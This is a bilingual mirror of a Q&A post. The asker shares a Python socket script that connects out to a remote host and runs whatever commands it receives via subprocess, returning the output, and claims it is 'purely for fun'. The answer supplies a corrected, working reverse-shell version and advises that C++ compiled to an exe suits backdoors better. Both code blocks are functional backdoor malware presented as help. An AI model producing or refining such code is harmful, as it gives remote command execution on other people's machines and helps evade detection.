如何在 Python 和子进程中使用套接字? [英] How to use sockets in Python and subprocess?

查看:48
本文介绍了如何在 Python 和子进程中使用套接字?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

/*

嘿,这个脚本纯粹是为了好玩,除了它容易停止和检测之外,没有任何违法的东西.进一步说,如果我将其用于非法活动,我为什么要在这里发布?

Hey, this script is purely for fun, not anything illegal, besides its easy to stop and detect. Further on if I were to use it for illegal activities, why would I post it here?

*/

我的问题是我无法从客户端执行 cmd 命令.我不知道为什么,尽管我暗示它与某种套接字错误有关.当我尝试执行命令时,无论我等待多长时间,它都不会执行任何操作.客户端没有任何问题,因为我已经使用以下代码的更简单版本对其进行了测试.

My problem is that I am not able to execute cmd commands from the client. I am not sure why although I have a hint that it is to do with some kind of socket error. When I try to execute the command it just does nothing no matter how long I wait. It's nothing wrong with the client as I have tested it out with a simpler version of the code below.

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('IP here')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
def start():
    conntrue = None
    while conntrue is None:
        try:
            conntrue = s.connect((host, port))
            s.send("[+] We are connected to %s") % (username)
            while True:
                try:
                    exec_code = s.recv(1024)
                    if exec_code == "quit":
                        break
                    elif exec_code == "Hey":
                        try:
                            proc = subprocess.Popen("MsgBox " + username + " Hey", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                            stdout_value = proc.stdout.read() + proc.stderr.read()
                            s.send(stdout_value)
                        except:
                            s.send("[+] was wrong, just exec it manually")
                    else:
                        proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                        stdout_value = proc.stdout.read() + proc.stderr.read()
                        s.send(stdout_value)
                except:
                    s.close()
        except:
            conntrue = None
            pass
    s.close()
start()

推荐答案

给你,这是一个从你的客户端获取 shell 的工作代码.我怀疑你无论如何都不能使用任何非法的东西,python 不是用于后门的.对于这种代码,您应该考虑使用 C++,因为它不仅速度快,而且可以编译成 exe.而python需要python解释器,因此不能在windows上运行(除非你得到py2exe).

Here you go,this is a working code to get a shell from your client. I doubt you will be able to use this anything illegal anyway, python is not for backdoors. You should consider C++ for this kind of code as not only is fast but it can be compiled into an exe. Whereas python requires the python interpreter and therefore cannot run on windows(unless you get py2exe).

import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
    try:
        connection = s.connect((host, port))
        s.send("[+] We are connected to %s" % username)
        while True:
            try:
                exec_code = s.recv(1024)
                if exec_code == "quit":
                    break
                else:
                    proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    stdout_value = proc.stdout.read() + proc.stderr.read()
                    s.send(stdout_value)
            except Exception, err:
                print err
    except Exception, e:
        print e
s.close()

尽量不要单独使用except 使用except Exception,variable 来查找代码中的错误然后替换为裸的except.

Try not to use except by itself use except Exception,variable to find mistakes in code then replace with the bare except.

这篇关于如何在 Python 和子进程中使用套接字?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆